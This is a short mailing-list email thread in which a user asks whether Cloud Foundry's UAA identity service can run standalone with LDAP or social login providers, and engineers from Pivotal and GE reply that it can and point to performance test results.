Hi Abhishek,
Yes, you should be able to use UAA outside of CF and integrate it with any
IdP of your choice. At GE we have UAA deployed on CF and our performance
numbers are CF based. The numbers should not be very different on a non-CF
env. Attached pdf should give you some performance numbers from our tests

-Siva

On Tue, Oct 18, 2016 at 3:04 PM, Sree Tummidi <stummidi(a)pivotal.io> wrote:

+ Siva & Ilya from GE

Can you please help.

Thanks,
Sree Tummidi
Staff Product Manager
Identity - Pivotal Cloud Foundry


On Tue, Oct 18, 2016 at 11:43 AM, abhishek jain <intelccdodemo(a)gmail.com>
wrote:

Hi

Can we use UAA outside cloud foundry as standalone service with LDAP or
any other social networking provider ? Where can i find performance bench
marking related statistics on UAA service ?

Thank you

--
http://www.twitter.com/sivabalans

3501 - 3520 of 9409